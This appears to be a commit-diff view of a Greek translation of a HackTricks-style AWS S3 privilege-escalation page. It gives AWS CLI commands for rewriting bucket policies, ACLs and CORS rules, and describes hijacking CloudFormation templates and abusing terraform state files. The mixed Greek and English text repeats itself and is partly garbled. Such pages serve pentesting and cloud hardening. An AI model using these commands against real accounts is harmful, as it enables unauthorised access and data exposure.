Και το hijack είναι δυνατό επειδή υπάρχει ένα **μικρό χρονικό παράθυρο από τη στιγμή που το template ανεβαίνει** στο bucket μέχρι τη στιγμή που το **template αναπτύσσεται**. Ένας attacker μπορεί απλά να δημιουργήσει μια **lambda function** στο account του που θα **trigger όταν σταλεί ένα bucket notification**, και να hijacks το **content** αυτού του **bucket**.
|
||||
|
||||
.png>)
|
||||
|
||||
The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
|
||||
Το Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) μπορεί να χρησιμοποιηθεί για την αυτοματοποίηση αυτής της επίθεσης.\
|
||||
Για περισσότερες πληροφορίες δείτε την αρχική έρευνα: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
|
||||
|
||||
Αυτά είναι τα δικαιώματα για να **λαμβάνετε και να ανεβάζετε αντικείμενα στο S3**. Πολλές υπηρεσίες μέσα στο AWS (και έξω από αυτό) χρησιμοποιούν αποθήκευση S3 για να αποθηκεύουν **config files**.\
|
||||
Ένας επιτιθέμενος με **δικαίωμα ανάγνωσης** σε αυτά μπορεί να βρει **ευαίσθητες πληροφορίες**.\
|
||||
Ένας επιτιθέμενος με **δικαίωμα εγγραφής** σε αυτά θα μπορούσε να **τροποποιήσει τα δεδομένα για να καταχραστεί κάποια υπηρεσία και να προσπαθήσει να αποκτήσει αυξημένα προνόμια**.\
|
||||
These are the permissions to **get and upload objects to S3**. Several services inside AWS (and outside of it) use S3 storage to store **config files**.\
|
||||
Ένας attacker με **read access** σε αυτά μπορεί να ανακαλύψει **sensitive information** μέσα σε αυτά.\
|
||||
Ένας attacker με **write access** σε αυτά θα μπορούσε να **modify the data to abuse some service and try to escalate privileges**.\
|
||||
Αυτά είναι μερικά παραδείγματα:
|
||||
|
||||
- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**.
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
|
||||
|
||||
Είναι πολύ συνηθισμένο τα state files του [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) να αποθηκεύονται σε blob storage των παρόχων cloud, π.χ. στο AWS S3. Η κατάληξη αρχείου για state file είναι `.tfstate`, και τα ονόματα των buckets συχνά αποκαλύπτουν ότι περιέχουν αρχεία state του terraform. Συνήθως, κάθε λογαριασμός AWS έχει ένα τέτοιο bucket για να αποθηκεύει τα state files που δείχνουν την κατάσταση του λογαριασμού. Επίσης συνήθως, σε πραγματικούς λογαριασμούς σχεδόν πάντα όλοι οι developers έχουν `s3:*` και μερικές φορές ακόμα και επιχειρηματικοί χρήστες έχουν `s3:Put*`.
|
||||
It is very common that the [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files are being saved to blob storage of cloud providers, e.g. AWS S3. The file suffix for a state file is `.tfstate`, and the bucket names often also give away that they contain terraform state files. Usually, every AWS account has one such bucket to store the state files that show the state of the account. Also usually, in real world accounts almost always all developers have `s3:*` and sometimes even business users have `s3:Put*`.
|
||||
|
||||
Έτσι, αν έχετε τα δικαιώματα που αναφέρονται πάνω σε αυτά τα αρχεία, υπάρχει ένα διάνυσμα επίθεσης που σας επιτρέπει να αποκτήσετε RCE στο pipeline με τα προνόμια του `terraform` - τις περισσότερες φορές `AdministratorAccess`, κάνοντάς σας τον διαχειριστή του cloud λογαριασμού. Επίσης, μπορείτε να χρησιμοποιήσετε αυτό το διάνυσμα για να πραγματοποιήσετε επίθεση άρνησης υπηρεσίας κάνοντας το `terraform` να διαγράψει νόμιμους πόρους.
|
||||
So, if you have the permissions listed over these files, there is an attack vector that allows you to gain RCE in the pipeline with the privileges of `terraform` - most of the time `AdministratorAccess`, making you the admin of the cloud account. Also, you can use that vector to do a denial of service attack by making `terraform` delete legitimate resources.
|
||||
|
||||
Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code:
|
||||
|
||||
@@ -64,7 +64,7 @@ Follow the description in the *Abusing Terraform State Files* section of the *Te
|
||||
|
||||
### `s3:PutBucketPolicy`
|
||||
|
||||
Ένας επιτιθέμενος, ο οποίος πρέπει να είναι **από τον ίδιο λογαριασμό**, αλλιώς θα εμφανιστεί το σφάλμα `The specified method is not allowed will trigger`, με αυτό το δικαίωμα θα μπορεί να παραχωρήσει στον εαυτό του περισσότερα δικαιώματα πάνω στο/στα bucket(s) επιτρέποντάς του να διαβάζει, να γράφει, να τροποποιεί, να διαγράφει και να εκθέτει buckets.
|
||||
Ένας attacker, που πρέπει να είναι **from the same account** — αλλιώς θα προκληθεί το σφάλμα `The specified method is not allowed` — με αυτή την permission θα μπορεί να παραχωρήσει στον εαυτό του περισσότερα permissions πάνω στα bucket(s), επιτρέποντάς του να διαβάζει, γράφει, τροποποιεί, διαγράφει και να εκθέτει buckets.
|
||||
```bash
|
||||
# Update Bucket policy
|
||||
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
|
||||
@@ -122,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
|
||||
```
|
||||
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να καταχραστεί αυτά τα δικαιώματα για να αποκτήσει περισσότερη πρόσβαση σε συγκεκριμένα buckets.\
|
||||
Σημειώστε ότι ο επιτιθέμενος δεν χρειάζεται να προέρχεται από τον ίδιο λογαριασμό. Επιπλέον, η πρόσβαση εγγραφής
|
||||
Ένας attacker θα μπορούσε να καταχραστεί αυτά τα δικαιώματα για να **του παραχωρήσει περισσότερη πρόσβαση** σε συγκεκριμένα buckets.\
|
||||
Σημειώστε ότι ο attacker δεν χρειάζεται να προέρχεται από τον ίδιο λογαριασμό. Επιπλέον, το write access
|
||||
```bash
|
||||
# Update bucket ACL
|
||||
aws s3api get-bucket-acl --bucket <bucket-name>
|
||||
@@ -150,7 +150,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να καταχραστεί αυτά τα δικαιώματα για να αποκτήσει περισσότερη πρόσβαση σε συγκεκριμένα objects μέσα σε buckets.
|
||||
Ένας attacker θα μπορούσε να καταχραστεί αυτά τα δικαιώματα ώστε να αποκτήσει περισσότερη πρόσβαση σε συγκεκριμένα objects μέσα σε buckets.
|
||||
```bash
|
||||
# Update bucket object ACL
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
@@ -177,9 +177,29 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
|
||||
|
||||
Ένας επιτιθέμενος με αυτά τα προνόμια αναμένεται να μπορεί να εφαρμόσει ένα Acl σε μια συγκεκριμένη object version
|
||||
Ένας attacker με αυτά τα privileges αναμένεται να μπορεί να προσαρτήσει ένα Acl σε μία συγκεκριμένη έκδοση αντικειμένου
|
||||
```bash
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
|
||||
```
|
||||
### `s3:PutBucketCORS`
|
||||
|
||||
Ένας επιτιθέμενος με την άδεια s3:PutBucketCORS μπορεί να τροποποιήσει τη ρύθμιση CORS (Cross-Origin Resource Sharing) ενός bucket, η οποία ελέγχει ποιες web domains μπορούν να προσπελάσουν τα endpoints του. Εάν ορίσει μια επιτρεπτική πολιτική, οποιοσδήποτε ιστότοπος θα μπορούσε να στέλνει άμεσες αιτήσεις στο bucket και να διαβάζει τις αποκρίσεις μέσω browser.
|
||||
|
||||
Αυτό σημαίνει ότι, ενδεχομένως, αν ένας αυθεντικοποιημένος χρήστης μιας web εφαρμογής που φιλοξενείται στο bucket επισκεφθεί τον ιστότοπο του επιτιθέμενου, ο επιτιθέμενος θα μπορούσε να εκμεταλλευτεί την επιτρεπτική πολιτική CORS και, ανάλογα με την εφαρμογή, να αποκτήσει πρόσβαση στα δεδομένα προφίλ του χρήστη ή ακόμη και να υποκλέψει τον λογαριασμό του χρήστη.
|
||||
```bash
|
||||
aws s3api put-bucket-cors \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--cors-configuration '{
|
||||
"CORSRules": [
|
||||
{
|
||||
"AllowedOrigins": ["*"],
|
||||
"AllowedMethods": ["GET", "PUT", "POST"],
|
||||
"AllowedHeaders": ["*"],
|
||||
"ExposeHeaders": ["x-amz-request-id"],
|
||||
"MaxAgeSeconds": 3000
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user